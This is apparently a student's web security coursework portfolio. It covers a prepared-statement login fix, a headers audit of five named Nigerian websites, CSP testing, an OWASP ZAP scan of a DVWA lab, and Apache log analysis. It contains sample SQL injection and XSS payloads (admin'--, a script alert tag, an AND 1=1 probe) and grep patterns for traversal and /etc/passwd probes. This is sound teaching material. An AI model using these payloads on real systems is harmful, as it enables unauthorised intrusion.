</body>
</html>

login_secure.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
mysqli_report(MYSQLI_REPORT_OFF);

// Input validation BEFORE touching the database
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (!preg_match('/^[a-zA-Z0-9]{1,50}$/', $_POST['username'])) {
        die('<h2 style="color:red">Invalid username format.</h2>');
    }

    try {
        $pdo = new PDO("mysql:host=localhost;dbname=logindb", "root", "");
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

        // SECURE: prepared statement with named placeholders
        $stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
        $stmt->execute([
            'username' => $_POST['username'],
            'password' => $_POST['password']
        ]);

        $user = $stmt->fetch();

        if ($user) {
            echo "<h2 style='color:green'>Login Successful! Welcome, " . htmlspecialchars($_POST['username']) . "</h2>";
        } else {
            echo "<h2 style='color:red'>Login Failed!</h2>";
        }
    } catch (PDOException $e) {
        echo "<h2 style='color:red'>Database error.</h2>";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Secure Login</title>
</head>
<body>
    <h1>Secure Login Form</h1>
    <form method="POST">
        Username: <input type="text" name="username"><br><br>
        Password: <input type="text" name="password"><br><br>
        <input type="submit" value="Login">
    </form>
</body>
</html>

What I Learned

The attack itself is elementary: insert a quote and a comment character and the login collapses. The solution becomes clear once you grasp that the root problem is combining code and data in the same string — prepared statements resolve this by keeping them entirely separate.

The admin'-- versus admin'# discrepancy was also a useful reminder that SQL comment syntax differs across database engines; what succeeds against MySQL may require adjustment for MariaDB or PostgreSQL.


6B HTTP Security Headers Audit of Nigerian Websites

⚠️ Note to readers: Do not use the same five websites listed in this report for your own submission. Select your own set of five websites across different sectors and run the analysis yourself — the learning comes from the process, not the specific sites chosen.


Steps

Step 1: Five Nigerian websites were chosen from different sectors — banking, government, e-commerce, healthcare, and education — specifically accessbankplc.com, ncc.gov.ng, konga.com, lagoonhospitals.com, and futminna.edu.ng.

Step 2: Each URL was submitted to securityheaders.com, starting with the first site, and the overall grade together with all flagged missing headers was recorded.

f1628037a950aa0342b7f7e469247caa.png

Step 3: The same process was repeated for all remaining four websites.

f2efbc6d26519107f4077b9b162954f2.png 80b9748148862d7ce5a92f12f86c1140.png ec1ddbd1e76b79d77b6d6103d1b6c921.png fefdd010aac64f8b020aa048d246fb02.png

Step 4: DevTools (F12 > Network tab) was used to inspect the Response Headers for two sites — lagoonhospitals.com and konga.com — and cross-reference the securityheaders.com findings.

For lagoonhospitals.com, DevTools showed Strict-Transport-Security was present (max-age=10886400; includeSubDomains; preload), while X-Powered-By: PHP/8.3.31 and Server: Apache were both visible in the response — consistent with the D grade from securityheaders.com. No CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, or Permissions-Policy headers appeared in the response headers panel.

For konga.com, DevTools confirmed the presence of a full Content-Security-Policy header (a lengthy multi-domain whitelist visible in the panel), along with X-Frame-Options, X-Content-Type-Options: nosniff, and Strict-Transport-Security. The missing Referrer-Policy and Permissions-Policy were also verified. This exactly matched the A grade and the two missing headers that securityheaders.com had reported.

1c8a1d3ec65e20f6621fa8fb0ca590a3.png

2b3121a52a0709afd649ac14b5877d77.png


Security Headers Audit Table

Website Sector Grade HSTS CSP X-Frame-Options X-Content-Type-Options Referrer-Policy Permissions-Policy
konga.com E-commerce A Yes Partial Yes Yes No No
accessbankplc.com Banking B Yes Partial No Yes No No
ncc.gov.ng Government D* No No Yes No Yes No
lagoonhospitals.com Healthcare D Partial No No No No No
futminna.edu.ng Education F No No No No No No
Yes = Present No = Missing Partial = Partial implementation

* ncc.gov.ng returned a 403 Forbidden during scanning Cloudflare blocked the security scanner. The D grade reflects only the error response headers, not necessarily the full header configuration served to real users.

accessbankplc.com CSP marked partial only upgrade-insecure-requests is set; no script restrictions are defined.

konga.com CSP marked partial policy present but contains unsafe-inline and unsafe-eval in script-src, which significantly weakens XSS protection.

lagoonhospitals.com HSTS marked partial max-age=10886400 (~126 days) is below the recommended minimum of 31,536,000 (1 year).


DevTools Cross-Verification Summary

Website DevTools Confirms Grade Key Observations
lagoonhospitals.com Yes D confirmed HSTS present but weak; PHP/8.3.31 and Apache version exposed; no CSP, X-Frame-Options, or X-Content-Type-Options visible
konga.com Yes A confirmed CSP, HSTS, X-Frame-Options, X-Content-Type-Options all visible; Referrer-Policy and Permissions-Policy absent as reported

Risk Explanations

Missing Header Attack Enabled Risk Created
X-Frame-Options Clickjacking Without this header, attackers can embed the site in a hidden iframe and trick users into clicking malicious elements while believing they are interacting with the legitimate site.
Content-Security-Policy XSS (Cross-Site Scripting) Without CSP, browsers will execute any script loaded on the page including injected malicious scripts allowing attackers to steal session tokens, redirect users, or deface the site.
Strict-Transport-Security SSL stripping / MITM Without HSTS, attackers on the same network can downgrade a user’s HTTPS connection to HTTP and intercept or modify all traffic in transit.
X-Content-Type-Options MIME-sniffing attacks Without this header, browsers may misinterpret uploaded files (e.g. treating a text file as a script) and execute malicious content that bypasses file-type restrictions.
Referrer-Policy Information leakage Without a Referrer-Policy, the full URL including sensitive query parameters such as session tokens or user IDs is sent to third-party sites whenever a user navigates away.
Permissions-Policy Unauthorised hardware access Without this header, any script running on the page including third-party or injected scripts can silently request access to the device camera, microphone, or location without user consent.

Website Ranking (Most Secure to Least Secure)

  1. konga.com (A) The top-performing site among all five. HSTS, X-Frame-Options, and X-Content-Type-Options are present and correctly configured; only Referrer-Policy and Permissions-Policy are absent. The grade stops at A rather than A+ because the CSP includes unsafe-inline and unsafe-eval in the script-src directive, weakening XSS protection despite the policy’s size. DevTools verification independently confirmed all findings. This site had the strongest overall security posture of any in the audit.
  2. accessbankplc.com (B) HSTS is configured correctly with max-age=31536000; includeSubDomains; preload — the strongest possible setting — and X-Content-Type-Options is also present. The CSP, however, consists only of upgrade-insecure-requests with no script restrictions at all, leaving XSS protection effectively non-existent. X-Frame-Options, Referrer-Policy, and Permissions-Policy are all absent. For a banking site holding customer financial data this is a notable gap, though the strong HSTS and one present header elevate it above the bottom three.
  3. ncc.gov.ng (D) Only X-Frame-Options (SAMEORIGIN) and Referrer-Policy (same-origin) are present; four headers are missing, including HSTS and CSP. The result comes with a significant caveat: the scanner received a 403 Forbidden from Cloudflare, meaning the headers analysed belong to an error page rather than what the live site delivers to actual users. The true security posture may be different. Even so, the lack of HSTS on a government regulatory body’s site is a serious concern, regardless of the scanning conditions.
  4. lagoonhospitals.com (D) Tied in grade with ncc.gov.ng but placed lower here because it is missing five headers rather than four. HSTS is present but falls below the recommended minimum at approximately 126 days. A healthcare site processing patient appointment bookings with no CSP, X-Frame-Options, or X-Content-Type-Options is meaningfully exposed to clickjacking against booking forms and XSS through patient-facing inputs. The response headers further disclose PHP/8.3.31 and Server: Apache, advertising the technology stack to prospective attackers. DevTools verification confirmed each of these findings.
  5. futminna.edu.ng (F) The weakest site in the audit, with all six security headers completely absent — no partial implementations whatsoever. The raw response headers also expose the server software (Apache/2.4.41 Ubuntu) and broadcast the CMS via visible WordPress wp-json API endpoint links (X-Tec-Api-Root, Link: wp-json), making it a ready target for automated WordPress vulnerability scanners. A university portal managing student records, account logins, and academic information deserves a considerably higher level of protection.

Remediation Recommendation for Lowest-Scoring Site

Target site: futminna.edu.ng Grade F All six security headers missing WordPress on Apache

Priority 1 Strict-Transport-Security (HSTS)

Deploy this before anything else. Without HSTS, every other security header becomes bypassable the instant an attacker strips the connection from HTTPS down to HTTP. For a university portal carrying student credentials, exam records, and registration data, man-in-the-middle interception over plain HTTP is the most immediately exploitable risk. It takes a single directive in the Apache configuration or .htaccess file.

1
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"

Priority 2 X-Content-Type-Options

A single line requiring no extra configuration and delivering immediate coverage. Universities regularly accept file uploads — assignments, CVs, project files. Without this header, a browser may misread an uploaded file’s content type and execute it as a script. It is the lowest-cost header to deploy and should be added immediately after HSTS.

1
Header always set X-Content-Type-Options "nosniff"

Priority 3 X-Frame-Options

Stops the student portal and login pages from being loaded inside malicious iframes in phishing campaigns. University login pages become especially high-value targets around registration, examination, and results periods. A single line takes effect immediately.

1
Header always set X-Frame-Options "SAMEORIGIN"

Priority 4 Referrer-Policy

Student portal URLs often carry user identifiers and session parameters. Without this header, those values are quietly passed to every third-party script and analytics service embedded on the WordPress site — including any ad networks or tracking pixels introduced by plugins.

1
Header always set Referrer-Policy "strict-origin-when-cross-origin"

Priority 5 Content-Security-Policy

This is the most involved header to implement on a WordPress site, given the range of domains from which plugins and page builders load scripts. The recommended strategy is to begin in report-only mode to discover what breaks before any restrictions are enforced. This protects the live site from disruption while the whitelist is incrementally refined toward full XSS coverage.

1
2
# Phase 1  report only, does not enforce, does not break the site
Header always set Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'"

After reviewing report data and finalising the whitelist, switch to enforcement mode:

1
2
# Phase 2  enforce after whitelist is confirmed
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' [whitelisted domains]"

Priority 6 Permissions-Policy

Deploy once CSP is stable. Locks down browser hardware APIs that a university site has no valid reason to use, preventing injected or third-party scripts from quietly accessing the student’s camera, microphone, or location.

1
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=()"

Additional Recommendations

  • Remove the Server header to cease disclosing Apache/2.4.41 (Ubuntu) to attackers who may be profiling the server for known vulnerabilities
  • Suppress WordPress API links (wp-json, X-Tec-Api-Root) from HTTP response headers to avoid advertising the underlying CMS to automated WordPress vulnerability scanners
  • Audit installed plugins — the wp-json exposure indicates plugin APIs are publicly accessible; any unused or outdated plugins should be disabled and removed

6C Content Security Policy Design and Testing


Steps

Step 1: Created test_csp.html with a button and an inline script:

1
2
3
4
5
<script>
  document.getElementById("btn").addEventListener("click", function () {
    alert("Button clicked");
  });
</script>

The full source code for test_csp.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <title>CSP Test</title>

    <!-- STAGE 2: Strict CSP  uncomment to block all scripts -->
    <!-- <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'none';"> -->

    <!-- STAGE 3: Nonce-based CSP  uncomment and add nonce="abc123" to the script tag below -->
    <!-- <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-abc123';"> -->
  </head>
  <body>
    <button id="btn">Click Me</button>

    <!-- XSS injection simulation  uncomment to test -->
    <!-- <script>alert('XSS')</script> -->

    <script>
      document.getElementById("btn").addEventListener("click", function () {
        alert("Button clicked");
      });
    </script>
  </body>
</html>

Step 2: The page was opened in a browser with no CSP in place and the button was clicked to verify the inline script executed as expected.

a6b0bed3c791009ed5f110b0fbf34a05.png

Step 3: Added a strict CSP in the HTML <head>:

1
2
3
4
<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; script-src 'none';"
/>

Step 4: After reloading the page and clicking the button, DevTools → Console was checked and three CSP violation errors were present — all inline scripts had been blocked and the button was unresponsive.

1046498b8962fcc6dcad3546c8288aee.png

Step 5: With no CSP active, <script>alert('XSS')</script> was injected directly into the HTML body, and execution was confirmed.

6c407bf822a985f1e6069b020aa609fb.png

Step 6: The nonce-based CSP (script-src 'nonce-abc123') was enabled without attaching the nonce attribute to any script tag. Two CSP violations appeared in the console — both the legitimate script and the injected XSS payload were blocked.

011ba78812b780bdef47675dc1570f21.png

Step 7: nonce="abc123" was added to the XSS injection script tag to simulate a scenario where an attacker has obtained the nonce value. The injected script executed successfully, demonstrating that a static or leaked nonce offers no meaningful protection.

4b71ddd8c2e262960ddb627b30ab3015.png


CSP Policies Used

Stage CSP Policy String
Strict (blocks everything) default-src 'self'; script-src 'none';
Nonce-based default-src 'self'; script-src 'nonce-abc123';

CSP Explanation

What is a Content Security Policy?

A Content Security Policy (CSP) is an HTTP security header (or <meta> tag) that tells the browser which content sources — scripts, styles, images, fonts, and others — are allowed to load and execute on a given page. Rather than depending entirely on the browser’s same-origin policy, CSP hands developers precise control over browser behaviour, substantially narrowing the attack surface for Cross-Site Scripting (XSS) and related injection techniques.

When the browser receives a CSP, it applies the policy before running any resource. Scripts, stylesheets, or other assets that do not match a permitted source are blocked, and a violation is logged to the console (and optionally sent to a reporting endpoint). This means that even when an attacker manages to inject malicious code into a page’s HTML, the browser will not execute it.

How Nonces Work

A nonce (number used once) is a cryptographic token included in both the CSP header and any legitimate <script> tag that is permitted to execute. The browser checks the nonce in the tag against the value declared in the policy — matching tokens allow the script to run; a mismatch causes it to be blocked.

Example:

1
Content-Security-Policy: script-src 'nonce-r4nd0mV4lu3XYZ'
1
2
3
4
5
6
7
<script nonce="r4nd0mV4lu3XYZ">
  // This script runs  nonce matches
</script>

<script>
  // This script is blocked  no nonce present
</script>

As Step 7 showed, a static or leaked nonce can be reused by an attacker to execute injected scripts. For nonces to offer genuine security, they must be:

  • Randomly generated on every single HTTP request (server-side)
  • Unpredictable using a cryptographically secure random generator (at least 128 bits of entropy)
  • Never reused across requests or sessions

Why 'unsafe-inline' Defeats the Purpose of CSP

Including 'unsafe-inline' in a script-src directive instructs the browser to permit all inline scripts regardless of their origin. This single addition strips away most of CSP’s defensive value because:

  1. XSS attacks depend on inline script injection. Allowing inline scripts globally means any injected <script> tag or event handler attribute executes as freely as if no CSP were present.
  2. It cannot distinguish developer code from attacker code. With 'unsafe-inline' set, the browser has no mechanism to differentiate legitimate inline scripts from injected malicious ones.
  3. It voids nonces. When 'unsafe-inline' appears alongside a nonce, browsers — per the specification — disregard the nonce restriction entirely and revert to permitting all inline scripts. The right approach is to move JavaScript into external files served from trusted origins, or to generate fresh per-request random nonces for any inline code that genuinely cannot be moved to an external file.

Week 7: Security Testing, Firewalls, and Detection Techniques


7A OWASP ZAP Automated Scan of DVWA


Steps

Step 1: After logging into DVWA with admin/password and setting the security level to Low, I launched OWASP ZAP and configured the browser proxy to localhost:8080 to allow ZAP to intercept traffic. As soon as DVWA finished loading, the first requests were already visible in ZAP’s History tab — GET /, GET /login.php, and GET /dvwa/css/login.css — all returning 200 OK, confirming that the proxy was functioning correctly.

Step 2: In ZAP’s Quick Start tab, I entered http://[target-IP]/ as the attack target, kept the Scan Policy set to Dev Standard, verified that Use traditional spider was checked, and clicked Attack to begin the automated scan. ZAP initiated the process by spidering the site and, once complete, had discovered and catalogued all the DVWA pages — including the dvwa/ directory, vulnerabilities/, brute/, captcha/, csrf/, and others.

ffcdc2984f5123afd92ef3f314e32140.png


Step 3: With the spider still in progress, I right-clicked http://[target-IP] in the Sites tree, navigated to Attack > Active Scan, left the Starting Point set to http://[target-IP], kept the Policy on Default Policy, left the Context and User fields blank, and clicked Start Scan.

e01a8aec4f87a8afeac7929b1dd636a7.png


Step 4: Monitoring the Active Scan tab as it progressed, the progress bar reached 64% — at that point it was on scan 1 of http://[target-IP], had issued 1,849 requests, and had already identified 4 new alerts.

a0f7dd20283dbc6088736ced7c2b81a8.png


Step 5: When the scan completed (the progress indicator read “Attack complete see the Alerts tab for details of any issues found”), I switched to the Alerts tab and found 7 alerts total, which I reviewed one by one from the top down. Two immediately caught my attention: Cross Site Scripting (Reflected) and SQL Injection, both rated as High risk. Selecting SQL Injection first, the detail panel revealed that ZAP had elicited an actual SQL error response from the server — confirming this is a genuine vulnerability rather than a false positive.

049af2063f2212ce11a080c1dcaa728a.png a8f5150d550e26e9d1c2ea0cd92cf335.png

Step 7: With all alerts reviewed, I navigated to Report > Generate Report, chose HTML format, and saved the file. Opening it in the browser revealed a comprehensive breakdown of every alert, complete with evidence, descriptions, and remediation recommendations, all clearly presented.

bfb8913605bba461697ec0f783c0fd24.png

Findings Table

Alert Name Risk Level URL Affected ZAP Payload Used Recommended Fix
Cross Site Scripting (Reflected) High http://[target-IP]/vulnerabilities/sqli/?id=%27%22%3Cscript%3Ealert%281%29%3B%3C%2FscRipt%3E&Submit=Submit "><script>alert(1);</script> Encode all user-supplied output; implement a Content Security Policy (CSP) header
SQL Injection High http://[target-IP]/vulnerabilities/csrf/?password_new=dd%22AND+%221%22%3D%221%22+--+&password_conf=ddd&Change=Change dd" AND "1"="1" -- Use parameterised queries / prepared statements; never concatenate user input into SQL strings
SQL Injection MySQL High http://[target-IP]/vulnerabilities/sqli/ MySQL-specific probe payload Same as above parameterised queries; additionally restrict DB user permissions to least privilege
SQL Injection SQLite (Time Based) High http://[target-IP]/vulnerabilities/sqli/ Time-delay payload (SQLite) Parameterised queries; disable unused database engines; monitor for slow query anomalies
Directory Browsing Medium http://[target-IP]/ (5 instances) N/A configuration issue Disable directory listing in Apache config (Options -Indexes); ensure sensitive directories are not publicly accessible
HTTP Only Site Low http://[target-IP]/ N/A configuration issue Redirect all traffic to HTTPS; obtain a TLS certificate; set Strict-Transport-Security header
User Agent Fuzzer (Systemic) Informational Multiple Various User-Agent strings Ensure server doesn’t leak version info via User-Agent responses; not an immediate risk

Executive Summary

Overview of Findings:

Running the automated security scan against the DVWA web application turned up 7 vulnerabilities across the site — 4 rated High severity, 1 Medium, 1 Low, and 1 Informational (flagged as noteworthy but not immediately exploitable). In plain terms, the application has significant weaknesses that would present very little challenge to a would-be attacker.


Top Three Risks:

Risk 1 SQL Injection (High):

At a minimum, three distinct locations on this site allow an attacker to manipulate the underlying database by entering specially crafted input into a form or URL. Think of SQL injection as being able to open any drawer in a filing cabinet without needing a key — it can be used to read private user records, alter passwords, or even wipe the entire database. ZAP demonstrated this is not a theoretical risk by successfully triggering a live error message from the MySQL database.

Risk 2 Cross-Site Scripting / XSS (High):

User input is reflected back on the page without any sanitisation. This allows an attacker to plant a malicious script that executes inside another user’s browser upon visiting the affected page. Session hijacking is a typical real-world outcome: the attacker captures the authenticated user’s session cookie and takes over the account without ever needing the password. The same technique can be leveraged to redirect victims to phishing pages or silently deliver malware.

Risk 3 Directory Browsing (Medium):

At certain paths, the web server presents a full directory listing rather than blocking access — the equivalent of leaving your front door wide open with an index of everything inside. This hands attackers a detailed map of the application’s structure, making it considerably easier to locate files they should never be able to reach, such as configuration files or backed-up source code.


Most Urgent Fixes:

  1. Fix the SQL Injection vulnerabilities first. These represent the most critical exposure — the application is wide open to database attacks at this very moment. Query construction needs to be reworked so that user input is treated exclusively as data and can never be interpreted as a SQL command.
  2. Fix the Cross-Site Scripting vulnerabilities. Every piece of user-supplied input must be properly encoded before the application renders it on a page. Addressing this prevents attackers from injecting scripts that execute in the context of other users’ sessions.
  3. Turn on HTTPS and disable directory listing. Both are relatively straightforward configuration-level changes — enabling HTTPS ensures all traffic is encrypted in transit, while disabling directory listing eliminates the structural map the server currently hands to anyone who probes its directories.

Date: 23 May 2026


7B Web Server Log Analysis for Attack Patterns

Steps

Step 1: I downloaded a sample Apache log file from github.com/elastic/examples apache_logs.txt . 96c1fe474a99ce1b0703213735e9619a.png

Step 2: I opened a terminal (Git Bash / MINGW64) and counted requests per IP address:

1
awk '{print $1}' apache_logs.txt | sort | uniq -c | sort -rn | head -20

658f3433da2a8f98277df1c45210882f.png Step 3: IP addresses showing unusually high request volumes were identified as likely automated scanners or brute-force sources. 66.249.73.135 led the list at 482 requests, a pattern consistent with crawler or scanning activity.

Step 4: I searched for SQL injection patterns:

1
grep -i 'union\|select\|%27\|%3D\|drop\|insert' apache_logs.txt

d610f83afe25c63bd0a51ac882257527.png

Step 5: I searched for directory traversal attempts:

1
grep -i '\.\./\|\/etc\/\|\/passwd\|\/wp-admin\|\/admin' apache_logs.txt

Step 6: I searched for authentication brute-force indicators (multiple 401 responses):

1
grep -i ' 401 ' apache_logs.txt | awk '{print $1}' | sort | uniq -c | sort -rn | head -10

3f01c9f376733d99bc594d127f25a7a7.png


Top IP Addresses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
482 66.249.73.135
364 46.105.14.53
357 130.237.218.86
273 75.97.9.59
113 50.16.19.13
102 209.85.238.199
 99 68.180.224.225
 84 100.43.83.137
 83 208.115.111.72
 82 198.46.149.143
 74 208.115.113.88
 65 108.171.116.194
 60 65.55.213.73
 60 208.91.156.11
 56 66.249.73.185
 52 50.139.66.106
 50 86.76.247.183
 50 14.160.65.22
 43 93.17.51.134
 42 208.43.252.200

SQL Injection Patterns Found

1
2
3
4
5
6
7
112.110.247.233 - - [17/May/2015:18:05:52 +0000] "GET /blog/tags/X11 HTTP/1.1" 200 32742 "http://www.google.com/imgres?imgurl=http://www.semicomplete.com/images/googledotcom.png&imgrefurl=http://www.semicomplete.com/blog/tags/X11&usg=__PeEZFYbktwtGJ92coZl9dbADxrY=&h=768&w=1024&sz=65&hl=en&start=4&zoom=1&tbnid=tX0W0Q4WqLUE5M:&tbnh=113&tbnw=150&ei=7FMAU6m2A4b_rAfopICAcw&prev=/search%3Fq%3Dhttp://www...google%26client%3Dms-samsung%26sa%3DX%26channel%3Dmm%26ie%3DUTF-8%26tbm%3Disch%26prmd%3Divnsza&sa=X&ved=0CDMQrQMwAw&ptbm=isch&q=http://www...google" "SAMSUNG-GT-E2232/1.0 Openwave/6.2.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0"

207.241.237.223 - - [17/May/2015:21:05:53 +0000] "GET /blog/tags/linux HTTP/1.0" 200 13233 "http://www.semicomplete.com/blog/tags/linux" "Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot)"

[... additional entries with encoded parameters containing select/insert patterns in referrer URLs ...]

193.58.82.178 - - [19/May/2015:06:05:40 +0000] "GET /blog/tags/java HTTP/1.1" 200 22586 "http://www.google.com/cse?cx=017877223933725188677%3Aueztpza4fok&ie=UTF-8&q=java&siteurl=semicomplete.com%2F&ref=sysadvent.blogspot.in%2F2011%2F12%2Fday-25-learning-from-other-industries.html&ss=439j66769j4&oq=java&gs_l=partner.3..0.9832.10273.0.10386.4.2.0.2.2.0.1282.1j1.2.0.gsnos%2Cn%3D13...0.440j67136j4..1ac.1.25.partner.iclH_3.39.9gJeQCmncHk" "Mozilla/5.0 (Windows NT 6.1; WOW64; U; ru) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36"

Note: SQL-like keywords (select, insert) appeared in encoded referrer URL parameters and Google search query strings not as direct injection attempts in the request URI itself. No raw SQL injection in request paths was observed.


Directory Traversal Attempts Found

1
2
3
4
5
6
7
8
9
10
11
176.194.187 - - [17/May/2015:12:05:30 +0000] "GET /administrator/index.php HTTP/1.0" 404 303 "-" "-"
195.250.34.144 - - [17/May/2015:17:05:38 +0000] "GET /administrator/ HTTP/1.1" 404 294 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13"
195.250.34.144 - - [17/May/2015:17:05:50 +0000] "GET /admin.php HTTP/1.1" 404 289 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13"
46.28.105.80  - - [18/May/2015:04:05:46 +0000] "GET /wordpress/wp-admin/ HTTP/1.1" 404 299 "-" "-"
199.102.67.16 - - [18/May/2015:04:05:27 +0000] "GET /blog/wp-admin/ HTTP/1.1" 404 7861 "-" "-"
[... dozens of similar /wp-admin/, /wp/wp-admin/, /blog/wp-admin/, /administrator/ probes across multiple IPs and dates ...]
95.78.54.93  - - [19/May/2015:12:05:30 +0000] "GET /administrator/ HTTP/1.1" 404 294 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17"
198.245.61.43 - - [19/May/2015:14:05:48 +0000] "GET /administrator/ HTTP/1.1" 404 294 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17"
188.165.243.45 - - [20/May/2015:02:05:24 +0000] "GET /administrator/ HTTP/1.1" 404 294 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17"
91.236.75.25 - - [20/May/2015:05:05:45 +0000] "HEAD /blog/geekery/ec2-reserved-vs-ondemand.html/admin/FCKeditor/editor/fckeditor.html HTTP/1.1" 404 - "-" "-"
91.236.75.25 - - [20/May/2015:05:05:26 +0000] "HEAD /blog/geekery/ec2-reserved-vs-ondemand.html/admin/FCKeditor/_samples/default.html HTTP/1.1" 404 - "-" "-"

Brute-Force Indicators (401 Responses)

1
(no output  no HTTP 401 responses were present in this log file)

The log dataset did not contain any 401 Unauthorized responses. Authentication failures were therefore not observable from this dataset. The absence of 401s may indicate the targeted endpoints (/wp-admin/, /administrator/) returned 404 before authentication was ever reached consistent with admin panels not being installed at those paths.


Incident Log Analysis Report

Summary of Findings:

Examining the apache_logs.txt file (2.26 MB, spanning 17–20 May 2015) uncovered three distinct categories of suspicious behaviour: automated probing of admin panels, high-volume crawler and scanner traffic, and encoded SQL-pattern strings appearing within referrer fields. No confirmed successful intrusions were evident from the available data; every admin-path request returned a 404 response, and the dataset contained no 401 Unauthorized entries.

The most significant threat pattern observed was systematic admin panel enumeration, with multiple IP addresses repeatedly requesting paths such as /wp-admin/, /administrator/, /admin.php, and /FCKeditor/ — all of which returned 404. A second pattern consisted of high-frequency requests from a small set of IPs, notably 66.249.73.135 with 482 requests, indicative of automated scanning. SQL-like keywords (select, insert, %3D) were found exclusively in referrer URL query strings and did not appear as direct injection attempts targeting the server’s own endpoints.


Attacker IP List:

IP Address Request Count Attack Type URLs Targeted
66.249.73.135 482 Crawler / Scanner Various blog and tag pages
46.105.14.53 364 Crawler / Scanner Various
130.237.218.86 357 Crawler / Scanner Various
195.250.34.144 ~4 Admin Panel Probe /administrator/, /admin.php
95.78.54.93 ~2 Admin Panel Probe /administrator/, /admin.php
198.245.61.43 ~2 Admin Panel Probe /administrator/, /admin.php
188.165.243.45 ~2 Admin Panel Probe /administrator/, /admin.php
91.236.75.25 ~2 CMS Plugin Probe /admin/FCKeditor/editor/, /admin/FCKeditor/_samples/
46.28.105.80 ~1+ WordPress Probe /wordpress/wp-admin/, /blog/wp-admin/
212.90.148.107 ~3+ WordPress Probe /wordpress/wp-admin/, /wp/wp-admin/

Attack Timeline:

Timestamp IP Activity Evidence
17/May/2015 12:05 176.194.187 Admin path probe GET /administrator/index.php → 404
17/May/2015 17:05 195.250.34.144 Admin panel enumeration GET /administrator/ and /admin.php → 404
18/May/2015 04:05 46.28.105.80 WordPress admin probe GET /wordpress/wp-admin/ → 404
18/May/2015 05:05–12:05 Multiple IPs Sustained WP-admin scanning /blog/wp-admin/, /wp/wp-admin/ → repeated 404s
19/May/2015 00:05–14:05 Multiple IPs Continued admin enumeration /blog/wp-admin/, /administrator/ → 404
19/May/2015 12:05 95.78.54.93 Admin panel probe GET /administrator/ and /admin.php → 404
19/May/2015 14:05 198.245.61.43 Admin panel probe GET /administrator/ and /admin.php → 404
20/May/2015 02:05 188.165.243.45 Admin panel probe GET /administrator/ and /admin.php → 404
20/May/2015 05:05 91.236.75.25 FCKeditor plugin probe HEAD requests to /admin/FCKeditor/ paths → 404

Recommended Response Actions:

  1. Block repeat offenders at the firewall/WAF level IPs including 66.249.73.135, 46.105.14.53, and 130.237.218.86 each generated hundreds of requests and should be rate-limited or blocked unless they can be confirmed as legitimate crawlers (e.g. Googlebot). Cross-reference against known crawler registries before taking blocking action.

  2. Implement fail2ban or equivalent rules for admin path probing Set up automated banning for any IP that requests more than 3–5 non-existent admin paths (e.g. /wp-admin/, /administrator/, /admin.php) within a short time window. While every observed probe returned 404 — indicating no successful access — the repetitive targeting from individual IPs justifies automated enforcement.

  3. Disable or relocate the FCKeditor admin path The IP 91.236.75.25 targeted the FCKeditor CMS plugin path at /admin/FCKeditor/. Should this plugin be present anywhere on the server, it must be updated or removed given its documented history of file upload vulnerabilities. Rather than responding with a 404, the path should return a hard 410 Gone to explicitly signal that the resource has been permanently removed.


7C Professional Security Assessment Report

Web Application Security Assessment DVWA

FUTM-CYB 322 | Week 7C Practical Report


Cover Page

Field Value
Report Title Web Application Security Assessment DVWA
Target DVWA (Damn Vulnerable Web Application) TryHackMe Instance
Assessment Type DAST OWASP ZAP Automated Scan + Manual Testing
Target IP http://[target-IP]
Date 23 May 2026
Author john doe
Course CYB322 Web Application Security, FUT Minna

Executive Summary

This report covers a black-box web application security assessment performed against a TryHackMe-hosted DVWA (Damn Vulnerable Web Application) instance running Apache 2.4.7 with PHP 5.5.9 on Ubuntu, accessed over the TryHackMe VPN. The assessment paired automated dynamic analysis via OWASP ZAP 2.17.0 with manual verification using Burp Suite Community Edition and browser DevTools.

The automated scan ran under the “Dev Standard” scan policy, employing both the traditional spider and the AJAX spider (Firefox). It traversed the full DVWA application tree — including /dvwa/, /vulnerabilities/, and sub-paths for brute, captcha, csrf, fi, and sqli — issuing over 1,849 requests before the attack phase concluded.

Seven distinct alert categories were identified. After deduplication and triage, five unique vulnerability findings are documented in this report. The severity breakdown is:

Severity Count
High 3
Medium 1
Informational / Low 1

The single most critical risk is SQL Injection in the /vulnerabilities/sqli/ endpoint. ZAP verified two active SQLi variants — MySQL and SQLite Time-Based — against the id parameter via the URL query string. An attacker exploiting this vulnerability goes well beyond data retrieval: they can dump the entire database, potentially read files from the server, and — depending on database permissions — write web shells. For any application storing user passwords, this represents a full compromise. The other findings are serious, but SQL injection is the vulnerability that could truly devastate an organisation running it in production.


Scope and Methodology

Field Value
Target Application DVWA TryHackMe Instance
Target URL http://[target-IP]
Assessment Type Manual black-box + automated DAST (OWASP ZAP)
